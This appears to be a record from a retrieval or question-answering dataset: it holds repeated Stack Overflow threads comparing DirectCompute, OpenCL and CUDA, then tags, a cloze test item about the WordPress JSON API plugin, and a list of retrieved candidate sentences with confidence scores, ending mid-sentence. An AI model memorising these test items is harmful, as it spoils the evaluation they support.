Do they really I admit it s been a few months since I did any comparison but last I checked CUDA was an order of magnitude more complete and feature rich . You make other assumptions when you use DirectCompute . Meanwhile not everyone has generic users . A great many scientific-computing projects buy hardware and build the software to run on it . Since we haven t gotten any details from Bob you can t assume one way or another . Comment : @Benson We can assume he is not interested in CUDA because he said he wasn t . Specifically because he didn t want to restrict himself to Nvidia hardware . As for CUDA being more feature rich you ll have to be more specific . I am unaware of any major advantage of CUDA that would persuade me that using it was preferable to a solution that worked on all GPU s and in the case of OpenCL other hardware devices like CPUs and DSPs and any other OpenCL compatible device - does CUDA allow that . Comment : @Benson : does CUDA supports append buffer consume buffer .. . Answer : Probably the biggest difference for a coder is that DirectCompute is programmed by a language which is similar to HLSL and OpenCL is programmed via a C-like language . Another difference to consider is that generally for commodity level GPUs the DirectX support is better faster and less buggy than OpenGL support on Windows . This may translate to more stable support for DirectCompute but really this is just speculation . Comment : What does OpenGL support on windows have to do with OpenCL.. . The important thing is the difference in support between the vendors AMD supports OpenCL very well and has support for newer versions NVIDIA which has the competing CUDA product only supports CL 1.1 with image extensions etc . Also OpenCL guarantees certain things DirectCompute and Compute Shaders from OpenGL do not like IEEE floating-point compliance . Comment : When I wrote this and I think it is still the case the low-level video-card drivers are the same for each technology . Please read carefully what I say : This may translate to more stable support.. . This is speculation but not baseless since the protocol to move memory and functions to and from the video-card is the same for either stack and for DirectCompute shares the same amount of testing and robustness that the better supported DirectX enjoyed . Again at the time I wrote this .", "Question : I have some financial tasks which should map well to GPU computing but I m not really sure if I should go with OpenCL or DirectCompute . I did some GPU computing but it was a long time ago 3 years . I did it through OpenGL since there was not really any alternative back then . I ve seen some OpenCL presentations and it looks really nice . I haven t seen anything about DirectCompute yet but I expect it to also be good . I m not interested at the moment in cross-platform compatibility and besides I expect the two models to be similar enough to not cause a big headache when trying to go from one to the other . So did you use anyone of these two Especially DirectCompute How does it compare to OpenCL and CUDA Comment : It depends on what hardware you have what operating-system s you want to target and whether you want your code to be cross-platform . Comment : DirectCompute is available only in windows and it requires DirectX 10 or newer video-card . .. . Answer : Given that you re looking to non-graphics computations I would suggest that you prefer OpenCL over DirectCompute since you are likely to find more in the way of community assistance . Given that you ve already identified that going from one to another is relatively simple i.e . once you ve already done the work to parallelise your application you could also consider CUDA over both OpenCL and DirectCompute for the same reason . You ve worked in OpenGL before any of them ought to be a delight to use compared with that", "Question : I m looking for comparisons between OpenCL http : en.wikipedia.org wiki OpenCL and DirectCompute http : en.wikipedia.org wiki DirectCompute but I haven t found anything . OpenCL s advantages of being cross-platform and having a wider range of supported GPUs don t matter to me . I m fine with coding on Windows against DX11 GPUs only . Assuming that what are the pros and cons of each API I know this question was raised before http : stackoverflow.com questions 2915350 directcompute-versus-opencl-for-gpu-programming but I m looking for more details . I m not interested in CUDA since I don t want to restrict myself to only Nvidia hardware . Comment : You might want to reconsider your stance on CUDA it s pretty kickass as is nvidia hardware . Comment : @Benson Assuming that all your users have Nvidia hardware seems like a pretty big failure . Best to actually stick to a standardised API such as OpenCL or DirectCompute . They both offer the same advantages of CUDA without the disadvantage of only working on Nvidia hardware . In fact nowadays one has to question the decision to use CUDA at all when there are other APIs that do exactly the same thing on any number of different hardware systems . Comment : @Simon Do they really I admit it s been a few months since I did any comparison but last I checked CUDA was an order of magnitude more complete and feature rich . You make other assumptions when you use DirectCompute . Meanwhile not everyone has generic users . A great many scientific-computing projects buy hardware and build the software to run on it . Since we haven t gotten any details from Bob you can t assume one way or another . Comment : @Benson We can assume he is not interested in CUDA because he said he wasn t . Specifically because he didn t want to restrict himself to Nvidia hardware . As for CUDA being more feature rich you ll have to be more specific . I am unaware of any major advantage of CUDA that would persuade me that using it was preferable to a solution that worked on all GPU s and in the case of OpenCL other hardware devices like CPUs and DSPs and any other OpenCL compatible device - does CUDA allow that . Comment : @Benson : does CUDA supports append buffer consume buffer .. . Answer : Well the major advantage of OpenCL is that it is not just limited to graphics cards . You can make use of your multicore CPU Graphics Card and potentially any number of other hardware-acceleration devices DSPs etc all from the same program . I m not sure if DirectCompute allows that freedom . Comment : DirectCompute does not run on CPU resources however the Accelerator v2 from MSR does run on the CPU and rather abstracts the usage of computational resources . research.microsoft.com en-us projects accelerator http : research.microsoft.com en-us projects accelerator", "Question : I m looking for comparisons between OpenCL http : en.wikipedia.org wiki OpenCL and DirectCompute http : en.wikipedia.org wiki DirectCompute but I haven t found anything . OpenCL s advantages of being cross-platform and having a wider range of supported GPUs don t matter to me . I m fine with coding on Windows against DX11 GPUs only . Assuming that what are the pros and cons of each API I know this question was raised before http : stackoverflow.com questions 2915350 directcompute-versus-opencl-for-gpu-programming but I m looking for more details . I m not interested in CUDA since I don t want to restrict myself to only Nvidia hardware . Comment : You might want to reconsider your stance on CUDA it s pretty kickass as is nvidia hardware . Comment : @Benson Assuming that all your users have Nvidia hardware seems like a pretty big failure . Best to actually stick to a standardised API such as OpenCL or DirectCompute . They both offer the same advantages of CUDA without the disadvantage of only working on Nvidia hardware . In fact nowadays one has to question the decision to use CUDA at all when there are other APIs that do exactly the same thing on any number of different hardware systems . Comment : @Simon Do they really I admit it s been a few months since I did any comparison but last I checked CUDA was an order of magnitude more complete and feature rich . You make other assumptions when you use DirectCompute . Meanwhile not everyone has generic users . A great many scientific-computing projects buy hardware and build the software to run on it . Since we haven t gotten any details from Bob you can t assume one way or another . Comment : @Benson We can assume he is not interested in CUDA because he said he wasn t . Specifically because he didn t want to restrict himself to Nvidia hardware . As for CUDA being more feature rich you ll have to be more specific . I am unaware of any major advantage of CUDA that would persuade me that using it was preferable to a solution that worked on all GPU s and in the case of OpenCL other hardware devices like CPUs and DSPs and any other OpenCL compatible device - does CUDA allow that . Comment : @Benson : does CUDA supports append buffer consume buffer .. . Answer : I use OpenCL because i can easily port my App to Linux but with DirectCompute this is not possible . I think also that the performance of the OpenCL implementation will increase with time that it comes at the same Level like CUDA for NVidia Cards and also that the driver bugs will hopefully be eliminated with time .", "Question : I ve been trying to make use of the GPU as part of a project of mine . I ve looked into both CUDA and OpenCL but the lack of information showing you how to introduce these into a project is shocking . Even their dedicated forum groups are dead . So now I m looking into DirectCompute . From what I can tell it s simply a new type of shader file that makes use of HLSL . My question is this does my program aside from being DirectX 10 11 need its structure changed I mean is it simply a case of creating the CS file setting in the project like I would any other shader and watch the magic happen Any information on this would be appreciated . .. . Answer : Yes CS fits into the usual DirectX programming structure . It works in a similar way to CUDA OpenCL . Here is a good simple example : .. . .. . http : openvidia.sourceforge.net index.php DirectCompute .. . .. . Personally I would suggest using CUDA OpenCL rather than going the DirectCompute route if your project does not involve graphics . I think CUDA OpenCL are better for general-purpose computing . It can be a little difficult to find documentation but these are the main aspects to GPU programming : .. . .. . Setting up data on the CPU to pass to the GPU . Understanding how many warps threads need to be started on the GPU how threads might need to communicate etc . Computing on the GPU reading data back on the CPU", "Question : I m looking for comparisons between OpenCL http : en.wikipedia.org wiki OpenCL and DirectCompute http : en.wikipedia.org wiki DirectCompute but I haven t found anything . OpenCL s advantages of being cross-platform and having a wider range of supported GPUs don t matter to me . I m fine with coding on Windows against DX11 GPUs only . Assuming that what are the pros and cons of each API I know this question was raised before http : stackoverflow.com questions 2915350 directcompute-versus-opencl-for-gpu-programming but I m looking for more details . I m not interested in CUDA since I don t want to restrict myself to only Nvidia hardware . Comment : You might want to reconsider your stance on CUDA it s pretty kickass as is nvidia hardware . Comment : @Benson Assuming that all your users have Nvidia hardware seems like a pretty big failure . Best to actually stick to a standardised API such as OpenCL or DirectCompute . They both offer the same advantages of CUDA without the disadvantage of only working on Nvidia hardware . In fact nowadays one has to question the decision to use CUDA at all when there are other APIs that do exactly the same thing on any number of different hardware systems . Comment : @Simon Do they really I admit it s been a few months since I did any comparison but last I checked CUDA was an order of magnitude more complete and feature rich . You make other assumptions when you use DirectCompute . Meanwhile not everyone has generic users . A great many scientific-computing projects buy hardware and build the software to run on it . Since we haven t gotten any details from Bob you can t assume one way or another . Comment : @Benson We can assume he is not interested in CUDA because he said he wasn t . Specifically because he didn t want to restrict himself to Nvidia hardware . As for CUDA being more feature rich you ll have to be more specific . I am unaware of any major advantage of CUDA that would persuade me that using it was preferable to a solution that worked on all GPU s and in the case of OpenCL other hardware devices like CPUs and DSPs and any other OpenCL compatible device - does CUDA allow that . Comment : @Benson : does CUDA supports append buffer consume buffer .. . Answer : The OpenCL cross-platform-ness is not just a detail as the host code the one calling the OpenCL API and submitting kernels can itself be cross-platform see link text http : code.google.com p javacl link text http : mathema.tician.de software pyopencl .. . . Write once run on any GPGPU anywhere . Otherwise the OpenCL tooling is really getting better with an ATI Stream plugin for Visual Studio the NVidia ATI SDKs that contains tons of samples etc.. .", "Question : I have some financial tasks which should map well to GPU computing but I m not really sure if I should go with OpenCL or DirectCompute . I did some GPU computing but it was a long time ago 3 years . I did it through OpenGL since there was not really any alternative back then . I ve seen some OpenCL presentations and it looks really nice . I haven t seen anything about DirectCompute yet but I expect it to also be good . I m not interested at the moment in cross-platform compatibility and besides I expect the two models to be similar enough to not cause a big headache when trying to go from one to the other . So did you use anyone of these two Especially DirectCompute How does it compare to OpenCL and CUDA Comment : It depends on what hardware you have what operating-system s you want to target and whether you want your code to be cross-platform . Comment : DirectCompute is available only in windows and it requires DirectX 10 or newer video-card . .. . Answer : Another option is C++ AMP which also targets GPUs and has a fallback CPU multi-core and SIMD instructions target . It will allow you to focus on compute and if you do need to integrate with graphics there is an interop layer for that too . Through the open spec we should see implementations for other operating systems at some point . Please follow links from here for more info and feel free to post questions as you have them : http : blogs.msdn.com b nativeconcurrency archive 2011 09 13 c-amp-in-a-nutshell.aspx Comment : Do you have any particular reason to believe that C++ AMP will come to other platforms I think before gcc and perhaps intel implements AMP it cannot be really called cross-platform . Given also the speed of implementation of such stuff OpenMP was not supported right away either the some point might well be if ever in 5 years Comment : @eudoxos the point is that it is possible through the open spec . Given that AMD at the Fusion conference last year announced their intent to support C++ AMP in their compiler and given that Microsoft really wants to see implementations on other platforms I can say what I said : we should see implementations for other operating systems at some point . You are right nobody has said what the some point may be so it is up to each person to draw their own conclusions and share their beliefs - like I did .", "Question : I m looking for comparisons between OpenCL http : en.wikipedia.org wiki OpenCL and DirectCompute http : en.wikipedia.org wiki DirectCompute but I haven t found anything . OpenCL s advantages of being cross-platform and having a wider range of supported GPUs don t matter to me . I m fine with coding on Windows against DX11 GPUs only . Assuming that what are the pros and cons of each API I know this question was raised before http : stackoverflow.com questions 2915350 directcompute-versus-opencl-for-gpu-programming but I m looking for more details . I m not interested in CUDA since I don t want to restrict myself to only Nvidia hardware . Comment : You might want to reconsider your stance on CUDA it s pretty kickass as is nvidia hardware . Comment : @Benson Assuming that all your users have Nvidia hardware seems like a pretty big failure . Best to actually stick to a standardised API such as OpenCL or DirectCompute . They both offer the same advantages of CUDA without the disadvantage of only working on Nvidia hardware . In fact nowadays one has to question the decision to use CUDA at all when there are other APIs that do exactly the same thing on any number of different hardware systems . Comment : @Simon Do they really I admit it s been a few months since I did any comparison but last I checked CUDA was an order of magnitude more complete and feature rich . You make other assumptions when you use DirectCompute . Meanwhile not everyone has generic users . A great many scientific-computing projects buy hardware and build the software to run on it . Since we haven t gotten any details from Bob you can t assume one way or another . Comment : @Benson We can assume he is not interested in CUDA because he said he wasn t . Specifically because he didn t want to restrict himself to Nvidia hardware . As for CUDA being more feature rich you ll have to be more specific . I am unaware of any major advantage of CUDA that would persuade me that using it was preferable to a solution that worked on all GPU s and in the case of OpenCL other hardware devices like CPUs and DSPs and any other OpenCL compatible device - does CUDA allow that . Comment : @Benson : does CUDA supports append buffer consume buffer .. . Answer : Another option now is C++ AMP which gives you modern C++ syntax without a need for a seperate compiler while still preserving hardware portability . Please follow links from here for more info and feel free to post questions as you have them : http : blogs.msdn.com b nativeconcurrency archive 2011 09 13 c-amp-in-a-nutshell.aspx Comment : I was under the impression that only Visual Studio 2012 can compile C++ AMP code - does that not count as a need for a separate compiler", "Question : I have some financial tasks which should map well to GPU computing but I m not really sure if I should go with OpenCL or DirectCompute . I did some GPU computing but it was a long time ago 3 years . I did it through OpenGL since there was not really any alternative back then . I ve seen some OpenCL presentations and it looks really nice . I haven t seen anything about DirectCompute yet but I expect it to also be good . I m not interested at the moment in cross-platform compatibility and besides I expect the two models to be similar enough to not cause a big headache when trying to go from one to the other . So did you use anyone of these two Especially DirectCompute How does it compare to OpenCL and CUDA Comment : It depends on what hardware you have what operating-system s you want to target and whether you want your code to be cross-platform . Comment : DirectCompute is available only in windows and it requires DirectX 10 or newer video-card . .. . Answer : I am learning OpenCL . When I was making similar decision to you to me OpenCL s biggest advantage is good for heterogeneous environment contrary to CUDA and other solutions . I don t mean hardware only but OS as well . OpenCL is much more free standard than for example CUDA . Writing code is expensive task . I would love to be able to use my gpgpu code in future no metter : on many parallel cpu on device of one or another vendor or different operating-system . I can compute on my computer small tasks while on much bigger machine at Univesity with many CPUs more task parrarel task while on another with Tesla when more data-parrarel task . OpenCL gives such reuse of code on variety of hardware and OS .", "Question : I m interested in DirectCompute and I would like to know if it s possible having two different Graphics adapters connected to the computer to use Direct Compute on both at the same time like in CUDA . As far as a i know dispatching a computer shader in directcompute is asynchronous so would be possible to dispatch computer shaders to different devices created with different adapters Thanks in advance Comment : Not familiar with directcompute but judging by slide 59 of this presentation http : on-demand.gputechconf.com gtc 2010 presentations S12312-DirectCompute-Pre-Conference-Tutorial.pdf and overall syntax it should be possible : just create multiple devices with D3D11CreateDevice compile shaders for both of them and so on . Comment : That was my feeling creating multiple threads on the CPU and managing different devices simultaneously but no way it works but the performance of both directcompute kernels decreases and it s far from executing the shader in the main thread i m still looking into this problem but it seems that there s no way unless in Directx11 Comment : This should work just fine - just create a device for each adapter . Is something not working as you expect .. . Answer : youd want to do it in a single call but you need 2 different device contexts . the main issue is not the fact that you have 2 device objects the problem is i wonder if you take out the bus line twice just for one call . that you wouldnt have to with just one graphics card needlessly . Thats the issue . so if you have 128 dispatches that are working with 2 cards now you only have 64 dispatches - and it sucks . Comment : This advice is highly dubious . If you re really doing so little work on the GPU that you re PCIE-bound you probably shouldn t be doing the work there in the first place .", "Question : would anyone happen to know of an implementation of AES Encryption Decryption any type using DirectCompute including the HLSL source code I ve read a few of the papers discussing AES on the GPU and they tend to make reference to either CUDA or OpenCL . I suppose learning to port those to DirectCompute could be a good exercise but as it is non trivial I wouldn t mind seeing how the HLSL is done correctly from the get-go . Thanks .. . Answer : You can find an implementation in Direct3D 10 here http : code.google.com p amclibrary It does not use DirectCompute but if you know Direct3D it should be straight forward to convert it to DirectCompute .", "Question : null .. . Answer : Is it possible to split work up between multiple devices GPUs like you can with CUDA How does this look in code Hard to find proper documentation for DirectCompute and the SDK doesn t show any examples of this . Comment : Sorry don t know how to do it in DirectCompute hence not answering the question but I do know it is possible . The C++ AMP technology that builds on DirectCompute makes it very easy as described here : blogs.msdn.com b nativeconcurrency archive 2012 03 07 http : blogs.msdn.com b nativeconcurrency archive 2012 03 07 using-multiple-accelerators-from-c-amp.aspx I also wonder why you are not using C++ AMP directly and instead usign lower level HLSL", "Question : I m writing a simple diffuse path tracer in DirectCompute for education . DirectCompute doesn t allow recursive functions so I need to figure out how to turn this recursive statement into a loop : .. . .. . Generic pseudo-code or C example would be really appreciated Comment : What does it return if hit an object is false Comment : if it misses every object it returns float3 0 0 0 .. . Answer : You might want to adjust that because all details are not known - for example maybe initObject does not have to be in stack", "Question : Are there any limitations with using DirectCompute on DX10.1 GPUs I will do most of my development on a DX11 desktop but I d like to demo code on a DX10.1 laptop . It ll be a Macbook Pro running Win7 in Bootcamp . The GPU is an Nvidia 330M http : www.nvidia.com object product geforce gt 330m us.html . What limitations can I expect Edit : I found a page about using Compute Shaders on DX10 http : msdn.microsoft.com en-us library ff476331 28v VS.85 29.aspx but it s not entirely clear to me if these are serious limitations or not . Edit 2 : My goal is to learn a bit about quantitative finance and solving PDEs . Comment : I think you should give some hint of what kind of algorithms you want to implement . Comment : @Stringer : The domain is quantitative finance and I ll be working with PDEs but I m unsure of exactly what methods I ll be using . This is a new field for me . .. . Answer : Frankly I think CS 4.x is rather limitating because of the lack of atomics double precision restrictions for accessing groupshared memory as well as the 16KB limit . Also you can have only one UAV that can be bound . I believe most of DirectCompute developers will use CS 4.x for post-processing in games or so probably with both CS 4.x and CS 5.0 code path . People that want to do heavy GPGPU work will learn with CS 4.x then later move on CS 5.0 . Now you re saying you haven t a clue of the CS 4.x limitations . I suggest to go with CS 4.x and stick to it for now . But really it all depends what you are developing how and your target audience professional developer vs hobby coder shipping your application now vs in two years mainstream audience vs pro market etc .", "Question : I ve been developing for a bit an invisible read : doesn t produce any visual output stressor to test the capabilities of my graphics card and as a exploration of DirectCompute in general with which I m pretty new . I ve got the following code right now that I m pretty proud of : .. . .. . This runs the Lucas Lehmer Test http : mathworld.wolfram.com Lucas-LehmerTest.html for the first 40 powers of two . When I dispatch this code in a timed loop and look at my graphics cards stats using GPU-Z http : www.techpowerup.com gpuz my GPU load shoots to 99 for the duration . I m pretty happy with this but I also notice that the heat generation from a fully loaded out GPU is actually pretty minimal I m getting about a 5 to 10 degree Celsius jump nowhere near the heat jump I get when running say Borderlands 2 . My thought is that most of my heat comes from memory accesses so I would need to include consistent memory accesses across the run . My initial code looked like this : .. . Answer : Read a lot of non-coherent samples in large textures . Try both DXT1 compressed and non-compressed values . And use render to texture . And MRT . All will beat on the GPU memory systems .", "Question : I understand that C++ AMP is accelerated by GPUs that support DirectX 11 . However my question is if the compiled C++ AMP program is run on a machine without a DirectX 11 compatible GPU what happens Does it get emulated by some software implementation of DirectCompute Does it get executing on the CPU perhaps using SSE style instructions Or does it just fail to execute Comment : I am trying to run a CUDA application on 2 different PCs where the first one has NVIDIA GTX 550 Ti and the other one has NVIDIA GTX 560 . Both graphic cards are CUDA-enabled and DirectX compatible . The current version of DirectX in these PCs is DirectX11 . However in both cases the application returns the message : Link.CUDA.GaussDerivative CPU implementation fallback kernelRadius 120 . Have you any clue of what is going wrong .. . Answer : Indeed C++ AMP has a CPU fallback multi-core plus SSE implementation called WARP aka Microsoft Basic Render Driver : http : www.danielmoth.com Blog Running-C-AMP-Kernels-On-The-CPU.aspx Comment : Thanks Daniel Good to see you are patrolling stackoverflow . :", "Question : So far the only tutorials I ve been able to find are on directx11tutorials.com http : www.directx11tutorials.com which are essentially inferred from the existing samples . Does anyone know where to find other tutorials or better yet open-source projects using DirectX 11 Extra points for project code using DirectX 11 : Comment : How about making this community wiki Comment : Done an done good idea : .. . Answer : You can check those links that are valuable resources for learning DX11 : .. . .. . http : www.yakiimo3d.com .. . http : gpuexperiments.blogspot.com .. . http : users.skynet.be fquake .. . http : blogs.msdn.com b directx archive 2010 06 15 introducing-the-directcompute-lecture-series.aspx .. . http : channel9.msdn.com posts gclassy DirectCompute-Expert-Roundtable-Discussion .. . http : microsoftpdc.com Sessions P09-16 .. . http : www.rorydriscoll.com", "Question : I m using DirectCompute to do general computing on the GPU . Currently I m trying to operate on a texture with resolution 1920x1080 . I have a Dispatch 2 1080 1 and numthreads 960 1 1 which according to my calculations exactly covers my image with one thread per pixel . Now as I understand it all threads should run at the same time right However in my code I do not do any computation if the pixel is black . So I ve noticed a definite increase in performance when most of my image is black . However if one object blocks up the screen the performance drops drastically . My question is : if all the threads are running in parallel the speed of processing a frame would be determined by the worst performing thread essentially the threads running on the black pixels will be idling right So why then am I seeing a slow-down when more pixels are processed They should be doing so at the same time . Or have I got this all wrong Any help would be appreciated . .. . Answer : If you have a very heavy algorithm and are using your image for backbuffer rendering it could create a stall . Forcing the backbuffer to wait for the image . try render it the next frame . so you are frame-behind . And how dose your algorithm look like Comment : Well I m doing double buffering so I m always displaying one image and doing the computing for the next at the same time . However I think the problem lies with my algorithm being too slow . But what jalf said is immensely enlightening . My algorithm I m exploring the area of real-time ray-tracing and have just written a brute-force algorithm to test out the capabilities of my GPU . Obviously there will be a tonne of optmisations needed .", "Question : I m attempting to skin vertices using DirectCompute . The method of skinning employed is such that you can have a variable amount of weights influencing each vertex e.g . Md5 meshes are defined this way . Basically inputs to the compute shader are . and the output is .. . .. . Now the compute shader should be run once per element in the vertex-buffer and using SV DispatchThreadID the shader attempts to populate the corresponding SkinnedVertex in the SkinnedVerticesBuffer for every Vertex in the VerticesBuffer 1 : 1 correspondence . So the problem is that many meshes have greater than 65535 vertices and the DispatchThreadID command only allows for dispatching that many threads per dimension . Now I can theoretically write something that divides a lot of numbers up into a combination of three factors less than 65535 but I can t possibly do that for prime numbers . So for example when some mesh with 71993 a prime number of vertices comes up I can t think of a way to handle it . I can t over dispatch say 72000 threads with context- Dispatch 36000 2 0 because then DispatchThreadID will run out of my buffer bounds . Right now I m leaning towards a constant buffer holding the amount of vertices and then over dispatching to the nearest power of 2 and then simply doing .. . .. . Is this my only option Anyone else run into this snag . .. . Answer : I ve never . But 65000 threads seems like an awful lot . Then when I try to find documentation http : msdn.microsoft.com en-us library ff476405 28v VS.85 29.aspx it seems that the values you pass are not threads but thread groups . Someone on gamedev http : www.gamedev.net topic 586288-my-directcompute-performance-is-abysmal seems to have performance issues when passing a number as great as 768 so it seems to me that you will have to decrease that huge number . I m not sure but I got the feeling you re misinterpreting these parameters . Try to read again what these values actually mean . Just a layman s gut feeling though . Comment : I know about the thread groups thing . My shader is strictly a one thread affair through as what I m doing is only slightly more complex than adding two arrays . But you re correct that 65535 threads is an awful lot and that I might be misunderstanding something . Although I have been using Direct3D for quite some now time and have familiarity with OpenGL this is the first time I m venturing into DirectCompute OpenCL CUDA territory .", "Question : Background : perform benchmarking comparisson over GPGPU platforms . Problem : Device synchronization when dispatching a DirectX 11 Compute Shader . Looking for the equivalent of cudaDeviceSynchronize of clFinish .. . to make a fair comparisson of how my algorithm performs . CUDA and OpenCL functions are more clear on the blocking non-blocking issues . DirectCompute however is more related to the graphics pipeline of which I learning and very unfamiliar with and therefore I have trouble finding out if a Dispatch call is blocking or if previously memory allocation transfers are finished . Code DX 1 : .. . .. . Code DX 2 : .. . .. . Results average times of 2 2 to 2 11 elements : .. . .. . Notice : these times are run on a desktop GPU with a screen connected some erratic timings are expected . Times are not supposed to include host to device buffer transfers . Notice 2 : These are very short sequences 4 - 2048 elements the interesting tests are performed on problem sizes of up to 2 26 elements . .. . Answer : My new solution is to avoid synchronization with device . I have looked into some methods of retreiving timestamps instead results look ok and I m fairly sure the comparisons are fair enough . I compared my CUDA times Event Record vs . QPC and the difference is small a seemingly constant overhead . In case my question brings someone in hopes of finding how to do gpgpu benchmarking I will leave some code-behind demonstrating my current benchmarking strategy . Code Examples CUDA .. . .. . OpenCL .. . .. . DirectCompute .. . .. . Here I followed the suggestion from Adam Miles and looked into that source . Will look something like this : .. . .. . C C++ OpenMP .. . .. . My code examples are taken out of context and I tried to do some clean-up but errors might be present . Comment : Might just set this as answer now but will await my solution for OpenGL and any possible suggestions ." ] }
[ "yes-answer-long", "yes-answer-short" ]
windows-vista
UNK_RELATION
wordpress-json-api@api@56
wordpress-json-api -- a plugin that provides a restful @placeholder for wordpress .
{ "confidence": [ 56.065284729003906, 56.057071685791016, 53.085174560546875, 49.15522766113281, 47.749168395996094, 47.18865966796875, 47.18865966796875, 46.625587463378906, 45.537864685058594, 44.954532623291016, 44.954532623291016, 44.90005874633789, 44.605430603027344, 43.912445068359375, 42.73421859741211, 42.59443664550781, 41.63733673095703, 41.594207763671875, 41.55320739746094, 40.971778869628906, 40.886260986328125, 40.65010070800781, 38.99234390258789, 38.99234390258789, 38.33690643310547, 38.102901458740234, 37.15118408203125, 36.43235778808594, 36.43235778808594, 35.8687744140625, 34.948768615722656, 34.917057037353516, 34.81416702270508, 34.1982307434082, 34.1982307434082, 34.13011932373047, 33.952056884765625, 32.546226501464844, 32.22556686401367, 32.22556686401367, 32.22556686401367, 29.991439819335938, 29.773479461669922, 29.650917053222656, 28.54021453857422, 28.066923141479492, 27.412246704101562, 27.130023956298828, 27.074420928955078, 26.63562774658203, 25.98184585571289, 24.615467071533203, 24.615467071533203, 24.533092498779297, 24.22201919555664, 24.17889404296875, 24.10582733154297, 23.77886962890625, 23.711580276489258, 23.711580276489258, 22.991905212402344, 22.103050231933594, 22.059925079345703, 21.98394775390625, 21.972734451293945, 21.566879272460938, 21.402267456054688, 21.396408081054688, 21.330047607421875, 21.236772537231445, 21.121837615966797, 21.121837615966797, 21.018949508666992, 20.654848098754883, 20.654848098754883, 20.633235931396484, 20.551959991455078, 20.284770965576172, 20.068696975708008, 20.020442962646484, 19.55304718017578, 19.28357696533203, 19.186811447143555, 19.179733276367188, 19.065771102905273, 19.065771102905273, 18.967336654663086, 18.967336654663086, 18.934267044067383, 18.784822463989258, 18.707826614379883, 18.707826614379883, 18.69541358947754, 18.431365966796875, 18.431365966796875, 18.197792053222656, 18.197792053222656, 18.197792053222656, 18.197792053222656, 18.197792053222656 ], "content": [ "When i installed and activated plugin json-api on wordpress .", "I m working on WordPress json-api plugin .", "I used wordpress 4.5.3 with plugin json-api 1.1.1 and i installed wordpress on ubuntu-16.04 i used apache2 and php7 .", "Thank you for your comment but I am using Custom Fields on a wordpress post and not Advanced Custom Fields wordpress-plugin .", "Using https : wordpress.org plugins json-api in an environment that segregates the standard wordpress install from a site that effectively uses wordpress as a service .", "For some reason out-of-the-box the Wordpress JSON API does not work on Nginx .", "I am new to PHP and I am working on wordpress JSON api .", "I have recently started working with WordPress had my first task using JSON API .", "I m creating an app using the JSON API plugin in conjunction with this Events Manager Plugin in WordPress and I want to create an event using the create post controller .", "Here I am using JSON API for Wordpress to validate users .", "You can use the JSON API to add a post to Wordpress .", "I had a problem about wordpress .", "refer to this http : stackoverflow.com questions 10132685 json-api-to-show-advanced-custom-fields-wordpress question .", "Put the plugin folder in root wordpress install .", "Doesn t WordPress API can be used in another way", "@Qu nhNguy n Yup .htaccess was set as default of wordpress", "However this plugin does not generate the posts the WordPress way and I am unable to retrieve a well formatted JSON output when I access a page with it .", "Here is what I ve done so far : .. . .. . Plugin installations .. . .. . I ve installed and activated the WordPress JSON API and the Basic Auth plugins on my website .", "So if you want to try the JSON API you can install wordpress.org plugins json-rest-api https : wordpress.org plugins json-rest-api .. . first you need to authenticate http : wp-api.org guides authentication.html then you can create the post http : wp-api.org posts create-a-post .. . You can read the post codeable.io community how-to-import-json-into-wordpress https : codeable.io community how-to-import-json-into-wordpress and in the last section they talk about the security nonce", "There are plugins available to create a REST API from your WordPress site like this one : https : wordpress.org plugins json-rest-api .", "I am very new to wordpress trying to create post with featured image from a separate .Net application using JSon api .", "I am developing an Android App that is able to register users on a WordPress website and update their user meta vars by sending http requests GET Method using the JSON API Auth https : wordpress.org plugins json-api-auth and JSON API User https : wordpress.org plugins json-api-user plugins installed on WordPress .", "I would like to make requests to the WordPress API much faster .", "Problem is that WP-API is loading the whole WordPress for every single call .", "from the WordPress site and put it into the list wherever I need it in the app .", "I m trying to create a PhP script that will automatically post an article on my wordpress website I m using the wordpress CMS it s not a wordpress.com website .", "I have this JSON content from a WordPress Site .. . .. . I want to fetch the url from medium to display as image .", "I was able to correct permalinks for a wordpress site in a subdirectory on an nginx site .", "The app is preinstalled with a snapshot of the content of a Wordpress mySQL database it uses custom types .", "I am developing IOS app where users will be login into my WordPress site and complete the form and send the data to WordPress Database .", ".. . .. . Site A http : example.com the consumer .. . .. . Site B http : wordpress.example.com the standard wordpress site with the json-api plugin installed .. . .. . .. . .. . Old slug : test-article New slug : test-article-new .. . .. . .. . .. . Site A consumes site B via the JSON API Query : : get method .. . .. . So a call might look like : http : wordpress.example.com api post get post slug test-article .. . .. . But this will return no results because the slug is now test-article-new .. . .. . However a http call to bog-standard wordpress i.e .", "I m trying to get recent posts from my wordpress blog but it s returning html instead of json .", "To clarify this file is a part of a plugin but it is called independently of WordPress itself via Ajax and directly .", "So it appears bootstrapping all of WordPress has little impact on performance .", "I want to access data from mobile app db in wordpress site .", "I m thinking about using WordPress as the backend and then use a HTML parser such as jSoup to get the text images etc .", "EDIT : Since the OP is actually concerned with the WP-API not WordPress in general I am adding this to address the actual question .", "We check muplugins loaded hook is define wordpress early you can also find which hook is define before muplugins loaded then stop this point to after load more wordpress files .", "i am trying to create a standard wordpress loop using jQuery rather than PHP .", "Basically i have a wordpress website from which I want to get the articles .", "The content of the WP database is only written via the Wordpress install the mobile app cannot write data .", "wordpress is load first mu-plugins files wp-content mu-plugins and provide after action-hook muplugins loaded .", "I use json-api plugin https : wordpress.org plugins json-api and I have three custom taxonomies .", "This article will help you if you face the same issue here http : lawsonry.com 2013 11 nginx-settings-wordpress-subdirectory-permalink-fix", "i want to get all posts that contains specific characters using json-api plugin in wordpress i successes to get post where title is equal to string mytitle using this http : mysite json get posts post type my type title mytitle http : mysite json get posts post type my type title mytitle but i want to get all posts that contains mytitle string can any one help", "I am using AJAX to load a json array created by the WP Json API Plugin .", "I edited WordPress index.php file and used microtime true to record when everything started and then edited one of the REST controllers to calculate how long it took from start to getting to the API endpoint .", "Turns out this is a problem at the mo in Wordpress but the link has a suggestion fix amongs others as such : .. . .. . You will however have to go through the full post as the above link s it turns out a lot of people are having this issue but a number of them got the issue resolved with all the suggestions in the post .", "Try to use json get recent posts just to make sure that the plugin is working", "My question is : How to create post using JSON API when you aren t logged in in the WP Admin Panel", "I created my custom controller I want to retrieve posts as Json format my work was as below : .. . .. . My php code is : .. . .. . Json result as below : .. . .. . Why price is set to null what the correct syntax to extract price from custom-fields from posts in WordPress", "I looked at JSON API and I found something interesting that one can generate posts using the get posts method .", "This caught my attention but I have no idea how to implement this from JSON API .", "In one of my plugins where I need the minimal WordPress core DB without plugins themes here is what I do : .. . .. . The PATH TO WORDPRESS constant I made up you just need to point that to the correct path .", "Can someone suggest me a way or a plugin or edit my json to get user to access data based on their subscription user role .", "I was just providing you with a 